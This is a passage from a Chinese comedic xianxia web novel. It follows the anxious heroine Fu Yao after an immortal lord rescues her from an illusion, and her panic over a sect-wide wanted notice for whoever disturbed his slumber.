符窈被他吼得又是一颤,连忙将头后仰,试图把眼泪憋回去。
她都快要死了,却连哭的权力都没有……
符窈越想越委屈,眼泪根本憋不住,啪嗒啪嗒地往外流。
呜呜呜呜呜,她死定了……
江遇臣心中烦躁得厉害,咒骂了一句该死,把人从地上捞了起来。
符窈伤心得正酣,猝不及防海拔升高,一下子喉头一窒,哽住了。
紧接着,她瞳孔地震开始瑟瑟发抖。
江遇臣一言不合扣着她脑袋按向了肩头,凶巴巴:“抖什么?不想看就把眼睛闭上。”
符窈依言照做,可、可是……
她居然被江遇臣单手抱坐在了臂弯,甚至脑袋旁边就是他的脖子,距离太近了……
符窈浑身发烫,感觉自己就像是泼在烙铁上的水,蒸发得滋啦滋啦的。
早就吓蒙的脑子,现在根本就不会转,全凭着一腔本能在害怕着。
忽然,火焰的热浪扑面而来。江遇臣似乎是打开了结界,想到结界外面的那群东西,符窈整个人瞬间僵住。
她用力地闭紧了双眼,没了视觉,听觉变得格外敏锐,江遇臣似是生生撕裂了什么,紧接着一群又一群的东西在她耳边簌簌而过掉落了下去,浑似天塌地陷一般,伴着底下无尽的嘶吼悲鸣,那感觉就像是置身在了人间炼狱。
“吼——”
好像有什么凶兽被放了出来,狮吼着在她所在的地方靠近,符窈心一下子提到了嗓子眼。
然而,刚刚冲出封印的貔貅却是迎风奔跑得格外欢快。
它就知道!它就知道主人一定会来救它的!
呵!那些心怀不轨的人,居然敢趁主人沉睡时对它下手,还妄图提取它的记忆来对付主人,也不看看它是谁,它的记忆岂是那么容易提取的?看它不狠狠告他们一状!
貔貅踏空飞奔,嗖嗖地往江遇臣奔去,它要告状,它现在就要告状!
然而,它的主人却是看也没看它,抱着个姑娘直接转身走了。
貔貅急了,跟着从被撕裂的幻境中出来,四蹄落到了不归城的江家老宅外。
它没有办法说话,但是主人能看到它想的画面,以往用这招告状都很顺利,可这次……
貔貅绕着江遇臣转圈圈疯狂摇尾巴,主人你不是来救我的么?你看我,看我呀!
江遇臣这会儿懒得搭理那废物,感觉到自己肩头好像湿了一片,他掐着符窈的后脖领,将人从肩头撕了开。
江遇臣面色一沉:“都出来了,还哭?”
符窈抿了抿唇,那是之前哭的,她早就没哭了……
她大着胆子掀眸瞄了江遇臣一眼,见其仍旧一脸的揾怒。
想了想,符窈手伸进储物袋里掏啊掏,最后摊开手掌,小小声贿赂道:“你要吃糖吗?”
是清火的糖……
18. 求闭嘴
符窈被放下了,就像她被捞起来时一样捉摸不透。
她站在江家老宅外的宽巷中,头顶日照当空,巷子外的行人来来往往,一切又回到了最初的原点,好似什么也没有发生过一般,可是……
符窈低头看了看自己的鞋子,那片月白的花瓣已经彻底地被鲜血给染红了……
她怔怔看着有些出神。
“小窈窈!”
凤翎大鹏展翅般扑过来,一把保住了符窈的双腿,一天不见,她好像又矮了一点。
不过,竟然只过了一天么……
符窈不由得有些恍惚。
“小窈窈小窈窈,你去哪了?我到处找你找不到,我还以为你跟岁寒他们一样不见了。”
凤翎仰起头,稚嫩的童音哭嚎着,摇晃着将符窈拉回了神。
她现在头顶连符窈的腰都够不到了,头仰得十分费劲,符窈将她捞起来,抱坐在了臂弯。
这个姿势……
符窈紧接着又是一顿。
方才没觉得,现在想起,江遇臣捞着她完全就是个抱小孩的姿势,而她的腿又不想凤翎一样,坐在臂上就能自然弯着膝盖垂下小腿。
“怪不得刚才总觉得腿没地方放……”
凤翎没听清:“小窈窈你刚说什么?什么没地方放?”
“啊?”符窈被问得愣住,这才意识到自己刚才想得出神竟是说出声了,脸上一红,连忙摇了摇头:“没、没什么。”
“是么?”凤翎歪了歪头,声音有些纳闷:“我刚刚明明听到……”
不过,她向来都是个心大的姑娘,只疑惑了一会儿就翻篇了,估计是什么不重要的事情吧。
她转而问起了重要的:“小窈窈你去哪了?”
符窈的:“我——”
刚起了个头,庄怜雪和岁寒就一道从幻境里头出来了。
岁寒似乎伤得很重,甫一落地就站立不稳以手撑地吐了一大口血。
“大师兄!”
庄怜雪惊呼,连忙将人扶住。
岁寒整个人半倒在了庄怜雪的怀抱中,他嘴角的血迹还未干,两人在残风中对视。
江遇臣带来之后,男女主在幻境里经历了什么,符窈不得而知,但现在的这个画面,放电视剧里绝对是要加BGM的。
符窈抱着凤翎往边上挪,自觉地缩小存在感,给男女主腾出了场地。
“我和他们一样被吸到幻境里了。”符窈附在凤翎耳边小声道。
什么!
凤翎惊讶,想到什么,立刻用视线把符窈从头到脚扫了一遍,同样也凑到了符窈耳边:“你没受伤吧?”
符窈摸了摸她的脑袋:“我没事。”
“你刚才是怎么出来的?”凤翎看了看岁寒,又看了看符窈,很是好奇。
大师兄都伤成了那样,庄怜雪看着也有些狼狈,可见里头定是十分的凶险,而她的姐妹儿却毫发无伤,这说明什么?凤翎瞬间脑补了一场符窈在幻境里凭借过人智慧找到阵眼,然后带领着众人走出幻境的领袖画面。
“小窈窈你好厉害!”凤翎星星眼,两手合在一块扭啊扭,两个字,崇拜!
“……”
符窈脸上又是一红,大翎翎你……你的滤镜是真的好厚!
左右看了看,符窈和凤翎挨着头又说了一阵来龙去脉,凤翎听得捂嘴连连抽气。
她来的时候并没有看到仙尊,这会儿知道了真相,那叫一个后怕,这得亏是碰上仙尊来救爱宠,要不然,她岂不是要见不到她的小窈窈了?
呜呜呜……
凤翎抱着符窈的脖子缓了好一会儿,末了感叹道:“仙尊可真是个大好人。”
符窈嘴角抽了抽。
才不是,她小声在心中反驳,明明……是个奇怪的人……
陆陆续续又有人从幻境里出来,先前墙角那棵茂密的大树不见了踪影。
仔细想想也是,江家老宅当年可是被烧没的,树这样易燃的东西,怎么可能在大火中存活,这“树”长得那般茂盛,还探出了墙外,分明就是在引诱人过去。
而能被它引诱过去的人,多少是有点洞察力在身上,而她……
符窈不愿再想,真正想寻人的没进去,她一个凑数的反倒是闯进去了,封池这运道,不能说是没有,只能说是有点偏……
符窈抱着凤翎往外走,谁料人却是一点也不经念叨,刚想到封池,就看见他站在巷口,怔怔地看着某处,神色有些落寞。
凤翎顺着他的视线往后一瞧,紧接着眼骨碌一转,坏笑了起来。
“有人英雄救美的算盘落空喽,啧啧,真可怜。”
凤翎开启嘲讽,封池先前疯狂戳她痛脚的事情她可还记得呢,这下可算是让她逮到反击的机会了。
她挑衅地朝封池抬了抬下巴,来呀,互相伤害啊。
封池却只是看了她一眼,之后转身走了,竟是难得没有应战。
凤翎愣住,声音呐呐:“搞什么,居然不战而退……”
……
是夜,回到月清宫,符窈躺床上却老毛病又犯了,白天发生的事情跟放电影似的在她脑海里重复播放。
入睡失败,她双目无神地睁开了眼睛。
其实……也不是很想要复盘,但是脑子它有自己想法!
啊啊啊啊啊……
她根本就不想回忆自己被表白时不知所措的蠢样!
符窈疯狂踢被子,在床上滚来滚去,折腾半宿,总算是把自己给折腾累了。
她仰面出神地看着房顶。
其实……江遇臣当时根本就不是在表白吧?
哪有人表白是阴沉着个脸的?
他很有可能只是在阐述一个事实,可……是个人活着心脏就会动啊!这有什么可值得大惊小怪的!
符窈黑目。
看吧,她就说他这人很奇怪。
啊啊啊啊啊……
符窈又开始在床上翻滚了起来,不是真的表白好像更尴尬啊,她当时是脑子抽了么?都想了些什么乱七八糟的东西!
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符窈疯狂锤床,最后累得趴倒,彻底没了力气。
幸好,她当时想的那些除了她没有人知道……
……
翌日,善渊仙尊在不归城现身的消息就传遍了整个修真界。
月清宫的长老们得知后纷纷大惊,原因无他,他们月清宫竟然有好几个弟子都跟仙尊现身的那件事扯上了关系。
这可得好好问问。
只是进去的三个,一个都受了伤,一个全程待厨房啥也不知道,只剩下符窈一个不仅见到了仙尊,还毫发无伤地出来了。
宫主不在,宗门里的事都交给了几位长老打理,长老们一听说这事,纷纷把符窈给叫了去询问内情。
不得不说,这月清宫的宫主是真的深谙权术之道,人不在,都不用担心被架空,他交由打理宗门事物的这几个长老彼此之间都不合,根本就拧不成一股绳,以至于,连问话都不愿意放在一处。
符窈这一天就跟打卡似的,同一件事情,在不同的长老面前,她已经说了不下三遍了……
符窈本来就社恐,这会儿更是恍恍惚惚,她感觉自己的能量就要耗尽。
不行了,她要死机了……
拖着沉重的步伐,刚从一个地方出来,符窈还没来得及松口气,就又被闻讯赶来的另一个胡子花白的长老给逮住了。
白胡子长老:“听说那幻境你也进去了?快来跟我说说究竟是怎么回事,你没有冒犯仙尊吧?”
符窈:“……”
啊啊啊啊啊!
能不能来个人让她闭嘴!
符窈在心中发出了渴望的呐喊。
……
“吵死了,都给我闭嘴!”
江遇臣撑着额头闭目养神,突然爆出一声怒喝,吓得底下人瞬间跪了一地。
这些都是瀚辰仙府本宗颇有些资历的峰主、堂主、长老,随便一个搁外头都是会被人蜂拥着奉承的人物,可现在跪在江遇臣面前,却是大气都不敢喘一下。
原因无他,这祖宗一旦起了杀念,那是真的会动手,根本就不带考虑,更不带忍的。
擅自带走貔貅制造江府幻境牵扯出来的那一脉人,如今已经一个活口都不剩了。
刚苏醒就如此大开杀戒,众人心中虽然胆寒,却也不敢说什么。
说到底,他们看着地位崇高,在仙尊面前,其实和蝼蚁也没什么分别。
他们此番来是同仙尊说归位大典的事,才起头了几句,哪里就吵了?
江遇臣掀眸,目光从底下人身上冰冷扫过。
碍眼的人常有,这次苏醒之后却变得格外多,以为制造一个幻境,就能够让他沉湎于过往,找到他的弱点?
江遇臣冷笑了一声,撑着额头的手放下,骤然瞥见旁边碟子里的一把软糖,想起什么,双眸微微眯了眯。
这样心慈手软的事情,绝不会再发生第二次!
他随手拈起了一块扔嘴里,阴恻恻地嚼着。
“把本尊埋雪山的那人可找到了?”江遇臣问。
19. 瀚辰仙府发布头号通缉令
此话一出,现场众人纷纷冷汗涔涔。
这、这件事您吩咐下来还不到一天,哪里就能查得那么快了……
众人心中腹诽,表面上却一个个安静如鸡,用眼神相互推诿着,谁也不愿意当这个应话的出头鸟。
江遇臣看着他们却又是一声冷笑。
他沉睡的地方能那么容易被人闯进来,要说其中没有人做手脚,说出去谁信?
江遇臣根本就不相信他们任何人,携着威压的视线将众人压得身形又是一低。
就当众人以为自己今日要遭殃时,江遇臣的眉间却显出了一道红纹。
那道红纹似火若隐若现,紧随着,他的面上露出了痛苦之色,压抑不住的烦躁从心底升起。
江遇臣突然爆发:“滚!都给我滚!”
众人吓一跳,忙不迭地麻溜滚了。
……
翌日,月清宫云开院。
凤翎一大早就过来为符窈提供了叫醒服务。
“早!”凤翎趴在符窈的床边,头上扎了两个小揪,用丝带打了蝴蝶结绑着,整个人看起来元气满满。
“早……”
符窈没睡醒,勉强睁开眼,没一会儿又闭上了。
凤翎两手撑在床上凑近了一看,狐疑道:“小窈窈,你昨天晚上背着我做什么去了,怎么还顶了两个大黑眼圈?”
符窈困得不行,没有应声,她昨晚跟自己展开了一场艰苦卓绝的搏斗,天快亮了才睡着,这会儿那是真的严重睡眠不足……
凤翎看她实在起不来,索性就加入了,蹬掉鞋子爬上床,滚到符窈边上抱了个枕头躺下。
她如今虽然又变成了副孩童模样,但她可不是熊孩子。
凤翎安静地在符窈旁边刷灵犀镜。
忽地,凤翎一声抽气过后拍了拍符窈:“八大世家之一的南家嫡脉昨天被灭门了!”
“天呐,他们是被寻仇了吗?这实力也太恐怖了吧,居然一个也没活下来,那可是南家诶。”
“我爹一直都想结交南家人,这还没结交上,他们居然就已经没了?”
“我记得南家的嫡支可是有好几个合体期的大能呢。”
凤翎持续惊讶中。
“你说,这会是谁干的?”凤翎又拍了拍符窈道。
符窈睁着一双迷蒙的睡眼,却是不假思索。
还能是谁干的,肯定是江遇臣干的呗,这世间能这么肆无忌惮的,除了他不可能有别人了。
而且她记得,南家被灭这件事,原书中也有作为他嗜杀的例子提过。
那么多人,想杀就杀了……
“嘶——”
符窈猛地一个哆嗦,想到自己的生死曾经也在他的一念之间,一整个心有余悸,竟是愈发觉得自己能从江遇臣手里活下来,简直就是个奇迹。
只是,南家被灭的这个时间……
符窈顿了顿,心中猜测着会不会与这次幻境的事情有关……
她的神思有些飘远。
凤翎却又拉了拉她兴奋道:“你说,仙尊已经苏醒,瀚辰仙府会不会举办个大典之类的?”
没待符窈出声,凤翎就已经自问自答了:“肯定会有,我听说仙尊前几次苏醒,瀚辰仙府都为其举办过归位大典,这次肯定也不例外。”
她趴在符窈边上开始畅想了起来:“这次仙尊救了你,他肯定对你有印象,到时候大典上咱再努力表现一下,说不定仙尊就收你为徒了。”
“届时,你一人得道鸡犬升天,我们月清宫能不能踏上辉煌之路可就靠你了。”
凤翎一把抱住符窈的手:“我们这么好,等你飞黄腾达了,你可一定要带带我,帮我求求仙尊,若是他肯点拨我,说不定我下次就能够成功涅槃了,嗯?嗯?”
凤翎抱着符窈的手撒娇摇啊摇:“好不好嘛,好不好嘛……”
符窈:“……”
八字没一撇就突然被寄予厚望是怎么回事?
符窈抽出自己的手,盖凤翎脸上帮她闭上了眼睛,然后拍了拍她的后背,哄道:“睡吧,梦里什么都有。”
凤翎:“嘤……”
符窈勾唇,觉着有些好笑,凤翎这想的未免也太离谱,她怎么可能有那能耐让江遇臣另眼相待?
昨天那是运气好,江遇臣一时兴起放过了她,再凑他面前去,可就不一定还会有这么好的运气了,至于……
符窈神色怔怔,不管江遇臣这次灭掉南家嫡支一脉是不是事出有因,可以预见的是,他以后只会越来越疯,甚至失去神智无法自控,这怎么看都是个危险人物。
想到他最后的结局,符窈虽然唏嘘,但却很有自知之明,她连自己的命运都摆弄不明白,更何谈他人,于她而言最简单的,不过是远离二字罢了,不去听,不去看,也许……就不会为他人的命运而感到沉重了……
符窈闭了闭眼,只觉多思也无意,反正她和江遇臣也不会再有什么交集了,至于归位大典……
唔,切磋大会的魁首已经被庄怜雪给截胡了,大典应该也没她的份。
很好,不出意外,她以后再也不会见到江遇臣了,完美!
符窈美滋滋。
……
当天下午,连日在外活动的月清宫宫主李坛风尘仆仆归来,召集诸位长老,说起了筹备仙尊归位大典贺仪的事。
他们月清宫虽然在修真界排不上号,但到底也隶属于瀚辰仙府,仙尊的归位大典那定是要去的。
大典定在了下月初三,今天已经二十七,仔细算算也没几天,这贺仪得赶紧准备了。
一番商讨过后,基本将礼单给定了下来,这时,一位长老问道:“这随行的弟子名额该给谁?是否需要召集众弟子比试,公平决出胜者?”
李坛沉吟了一会儿,道:“距离大典只剩下几天,比试兴师动众时间怕是来不及……”
另一位长老见状,适时提议:“那不
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如就由宫主您指定一位弟子带去?”
李坛听了却是即刻摆手,他虽有私心,却倒也不想这般明目张胆,总要有个由头。
于是他道:“今年的切磋大会不是刚过去没多久么,便把名额给切磋大会的魁首吧。”
符窈那丫头虽然实力不济,但切磋大会却是向来都拿第一的。
他记得,这应该已经是第十届了吧,李坛想起,颇有些无奈,那丫头惯是争强好胜的,虽然回回都胜之不武,但其他弟子没闹,他也就睁一只眼闭一只眼了,不过……这次时机倒是正好了。
只是他的话一落,一个胡子花白的长老却是笑着站了起来拱手道:“既如此,那我就让我手下的弟子庄怜雪准备着了。”
“庄怜雪?”
李坛忽地顿住。
旁边那个提议让他直接指定的长老附了过来解释道:“今年的魁首不是符窈,那个叫庄怜雪的最后击败了她……”
李坛沉默,脸色一时间有点不太好看。
……
庄怜雪要去参加善渊仙尊归位大典的消息,在白胡长老的大肆宣扬下不胫而走。
众弟子虽然嘴上说着恭喜,心里却纷纷扼腕叹息,早知道拿下今年切磋大会的魁首还会有这样的好事,他们当初说什么也要去争一争的,如今,倒是让庄怜雪给平白捡了个漏。
“你们说,符大小姐知道这件事情会不会闹?”
“那肯定啊,这还用说么,我们当初没用全力,那可都是给的符大小姐面子,她庄怜雪算哪根葱,这分明就是在摘桃子,若是没有大典名额这出倒也罢了,如今符大小姐知道自己平白没了这么大个机缘,想也知道定不会放过她,等着瞧吧。”
符窈从旁边路过,生生憋红了脸,等着瞧什么呀,一个个心里不服气就自己争取去,别在这净指望着她作妖,没有这一趴!
名额没落她头上,她可是求之不得呢。
难得有一回得偿所愿,说出来大家可能不信,她这会儿的嘴角比AK都难压。
符窈紧紧地抿着唇,忍住,一定要忍住,她没有想笑,她现在很愤怒,为了稳住自己的人设,她决定光打雷不下雨,所以,必须得忍住!
“看!符大小姐在那!”
“瞧瞧,都把咱符大小姐气得脸红脖子粗了,庄怜雪这回绝对吃不了兜着走!”
符窈:没错,这么想就对了。
崩坏值没增加,作弊方法get!
符窈心中窃笑着从人群中走过。
“瀚辰仙府发布了头号通缉令!”不知是哪个弟子突然爆出了一声惊呼。
“什么什么?什么通缉令?通缉谁啊?”
大家伙好奇不已,纷纷掏出灵犀镜去看。
符窈也不例外,立刻掏出了灵犀镜赶赴前线吃瓜,只是甫一看清,她比AK还难压的笑,却是瞬间就凝固住了。
“铛——”
灵犀镜脱手掉落在地。
20. 嗨,她不可能自首
“擅闯仙尊沉睡之地者……”
符窈刹那间脑子一片空白,这通缉的……该不会就是她吧?
“怦、怦、怦……”
符窈的心跳一下比一下地快了起来,她一生遵纪守法,从来没有干过什么坏事,可是现在……
符窈六神无主,眼前开始模糊,她的视线仿佛一下子失去了焦点。
除了她还有人进去过那个地方吗?
有的,还有岁寒。
可是……
瀚辰仙府通缉的是进入过那个地方的人,就算还有一个岁寒,也并不能将她排除在外。
她被瀚辰仙府通缉了……
现在……是一个通缉犯……
这样的认知令符窈不由得开始呼吸困难。
她只觉得天快要塌了……
而就在这时,她的身前似乎停下了一道白影。
符窈视线模糊看不清,恍惚间,竟感觉自己是见到了白无常。
那“白无常”蹲了下去。
符窈呼吸一窒,这莫非是要给她套脚链?
少顷,那“白无常”站起开口:“你的灵犀镜掉了。”
什么,她的死期已经到了?
符窈身形一晃,眼泪差点就要夺眶而出。
“白无常”紧急伸手扶了她一把。
符窈僵硬站好,板直得像是站了十年桩,刚才,她听到了“啧”地一声……
这个“啧”轻而短促,但透露出来的不悦却溢于言表。
符窈心头一跳,完了,大难临头了,她把白无常给惹毛了,不会是要被回去下油锅了吧?
呜呜呜……
符窈悲从中来,虎口却忽然被掐得一痛。
呜啊……哇?
【庄怜雪:“又来这招是吧?上次没成功,这次又想故伎重施碰瓷装晕?符窈这是铁了心要改走柔弱路线了?”(崩坏值+5)】
符窈:“……”
眼角擒着的泪花滴落,符窈眨了眨眼,终于看清了眼前这白无常的真面目。
竟然、竟然是庄怜雪!
符窈的沉默震耳欲聋。
她就说怎么这白无常身上还带了点粉,还以为是他们地府的新风尚,结果……
脚趾无声地疯狂抓挠鞋底,符窈接过庄怜雪递来的灵犀镜,眼皮微垂着不敢看人,就……好尴尬……
“你——”
庄怜雪开口。
符窈心一下子提溜到了嗓子眼。
她?
紧张等待下文,然而庄怜雪却是顿住了,仿佛被她传染上了沉默。
符窈:“???”
又等了一会儿,长久的沉默着实令人煎熬,符窈没忍住抬头看了庄怜雪一眼。
然而就是这一眼,却仿佛让她置身到了审判现场,庄怜雪探究的目光似要将她穿透。
符窈:“!!!”
救命!庄怜雪为什么要这样看她?
难不成……是她发现了什么?
符窈抓着灵犀镜的手收紧,指尖按压得有些泛白。
她猛然想起了之前,庄怜雪也曾莫名得知了岁寒内里芯子换人,甚至还猜出她也知道了岁寒的这个秘密。
当时她心里装着佚名兄还有合欢蛊的事,庄怜雪怎么知道的这些,她没有去深究,现在想起,却是细思极恐……
庄怜雪定是通过预知梦看到了什么!
符窈心如擂鼓,瞬间有种想要落荒而逃的冲动。
残阳中,符窈和庄怜雪相对而立,相隔不远的吃惯群众窃窃私语。
“我闻到了一股风雨欲来的味道。”
“我也,虽然她们现在都没有说话,但以我多年的经验来看,这绝对是暴风雨之前的宁静。”
“没错,得了便宜还敢跑到符大小姐面前来卖乖,符大小姐不发威,还真当她是病猫呢,看符窈不给她点颜色看看!”
符窈耳朵一动,好似得到了启发。
绝不能让庄怜雪再看出什么端倪,她必须得采取一些措施。
符窈若有所思,如果给庄怜雪一点颜色看看的话……
暴风雨本雨符窈双手环抱在胸前,她的姿态攻击性十足,仿佛浑身都写着不好惹,只见她斜嘴一笑,三分寒凉三分轻蔑四分愤怒地看着庄怜雪,声音不善道:“你居然还敢出现在我面前?”
短短的一句话,犹若一场骤来的冬夜冷雨,将庄怜雪吹得不住瑟缩后退。
“你、你想做什么?”
庄怜雪看向她的目光中满是恐惧,整个人宛如一朵摇曳在暴风中即将支零破碎的小白花。
符窈冷笑:“现在知道怕了?晚了。”
“你擅自窥探我的时候,就应该想到会有什么后果。”她步步逼近,狠抓着庄怜雪愤怒咆哮:“知道你盯着人看不说话暗戳戳琢磨的时候有多吓人么!我特么是属盲盒的吗,你在这一个劲地开?我告诉你,把我逼急了,你承受不住我的怒火!”
庄怜雪被符窈吼得低埋下了头,暴风雨将她淋得湿透,月清宫霸王的威势,更是让她害怕到瑟瑟发抖。
庄怜雪后知后觉没有靠山的她,跟符窈作对简直大错特错,对方只需要动动手指,轻而易举地就能将她扫地出门,永远地离开月清宫。
“不——”庄怜雪绝望摇头,她不能离开月清宫,她绝不能!
于是她抬起了头,一改方才楚楚可怜的模样,露出了其黑心莲无所畏惧的本质。
只见她高举起右手,当着所有人的面起誓道:“我庄怜雪在此告发符窈擅闯仙尊沉睡之地,惊扰仙尊,罪不容诛,如有半句虚言,我庄怜雪天打雷劈,永世不得飞升!”
庄怜雪的声音响彻天宇,犹如平地的一道惊雷,瞬间将整个月清宫炸开了锅。
一时之间,形势倒转,众人纷纷惊呼:“天呐,通缉犯竟然就在我身边!”
千载难逢立功的机会摆到了眼前,想到以往在符窈身上受到的压迫,月清宫一众弟子揭竿起义:“推翻霸权,打倒符窈!推翻霸权,打倒符窈!”
“快!抓住她,别让她跑了!”
符窈见势不对想要潜逃,然而却寡不敌众插翅难飞。
“啊啊啊啊啊放开我!”符窈奋力挣扎,被抓住架着走的时候还在大叫:“我爹是宫主,你们还想不想在月清宫混了,放开我!”
众弟子无所畏惧:“呵!宫主再大还能大过仙尊?今日就是宫主来了也保不下你!”
最后,月清宫宫主营救未果,符窈铁窗泪,全剧终……
“符师姐?符师姐?”
耳边的庄怜雪将符窈给拉回了现实。
“这次去仙尊归位大典的名额宫主给了我,符师姐应该不会怪我吧?”庄怜雪拉着符窈的手,笑眼弯弯,脸上一派纯真模样,看不出丝毫的攻击性。
符窈沉默,所以……庄怜雪看了她半天,就是为了说这个?
符窈深呼吸平复了一下心情,离家出走的大脑好像又回来了。
通缉这事吧,骤一看是有点吓人,可冷静下来仔细一想想……
她如果不去自首的话,根本就不会有人知道啊?
就算庄怜雪能够预知未来,那也得这件事在未来发生才行吧?
像她这么惜命,以她的性格,无论是过去、现在还是未来,不用想,自首那是绝对不可能去自首的。
所以……
嗨,虚惊一场。
现在只要防
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住岁寒恢复记忆,这件事情就会成为一个永远的秘密。
至于土著民佚名兄……
且不说他当时是个死的,就算现在佚名兄已经聚魂成功又活了过来,那他也没有见过她,更不知道她叫什么,唔……不足为惧。
符窈悬着的心落下,她又觉得她能继续苟了。
庄怜雪不是问拿了名额会不会怪她么?
符窈用力抽出自己的手,提气,恶狠狠道:“你、你给我等着!”
放完狠话,转头就走。
庄怜雪愣了一下,符窈的反应意料之中,可……却又感觉哪里好像不太对劲。
她看向符窈离去的方向,那是……
庄怜雪:“???”
【庄怜雪:“不是要让我等着么?这不去找宫主,反往自己屋里跑是几个意思?”(崩坏值+5)】
符窈御着的剑忽然往下落了一下。
可恶!光打雷不下雨这招,在庄怜雪这里居然不好使。
符窈表情小小地崩了一瞬,凝神控剑却是飞得更快了。
算了,崩坏值反正已经加了,索性就五点,符窈也懒得亡羊补牢了。
今天受了这么大的惊吓,她现在归心似箭,只想赶紧回去躺着。
身后的庄怜雪看着符窈远去的背影,若有所思。
【庄怜雪:“说起来,符窈的情蛊没有绑定岁寒,那她绑定的是谁?中情蛊的双方之间一般都会有感应,甚至不由自主地靠近对方,可奇怪的是,我好像没有在符窈周边看到过别的男人,难不成……是被她给藏屋里了,她跑这么快,是有人在屋里等她?”(崩坏值+5)】
!!!!!
符窈咚地一声跌在了自己的院子里。
庄怜雪她说什么?
中蛊的双方之间会有感应?!
……
是夜,符窈床上辗转反侧、仰卧起坐、横竖是睡不着。
有感应……会有感应……
她脑子里不断地盘旋着这几个字。
如果佚名兄和她有感应的话,那佚名兄万一诈尸复活了,岂不是很容易就能找到她?
符窈腾地一下从床上坐了起来,摸来灵犀镜,又开始心虚地刷。
今日因着瀚辰仙府发布的那则通缉令,灵网上格外的热闹。
突然,一则蹭热度谴责负心汉的内容,吸引了符窈的注意。
[做鬼也不会放过你]:XXX你没有心,亏我对你死心塌地,你却是提上裤子转脸就不认人,你以为你删了我的灵犀镜我就拿你没办法么?我给你三天时间,三天后你再不出现,我就立刻把你的渣滓行径全部昭告天下!!!别以为老娘不敢,我告诉你,我不好过,你也休想好过!我说到做到!
!!!
符窈受到惊吓一般,将灵犀镜给扔了出去。
被抛弃的人,怒火竟能如此之盛?
如果佚名兄醒来发现自己被抛弃的话……
夜半三更,棺中的男人忽然睁眼,三天了,他已经等了三天了,复活他的那个人还没有出现!
男人一拳砸在了棺壁上,牙齿咬得咯吱作响:“女人,你竟敢抛尸!”
“啊啊啊啊啊……”怒极之下,男人把棺材给砸了个稀巴烂,而后双目阴鸷地看向某处笑了起来:“很好,好得很,既如此,我也不必再给你机会了……”
他笑得越来越疯狂,突地爆出一声惊天大喝:“同归于尽吧!我要举报你!!!”
符窈被吓得一个激灵,立刻又重新捧起了灵犀镜。
呜呜呜她错了,她真的错了……
趁着现在灵网上人多,赶紧去发个寻棺启事。
佚名兄你可千万别激动啊!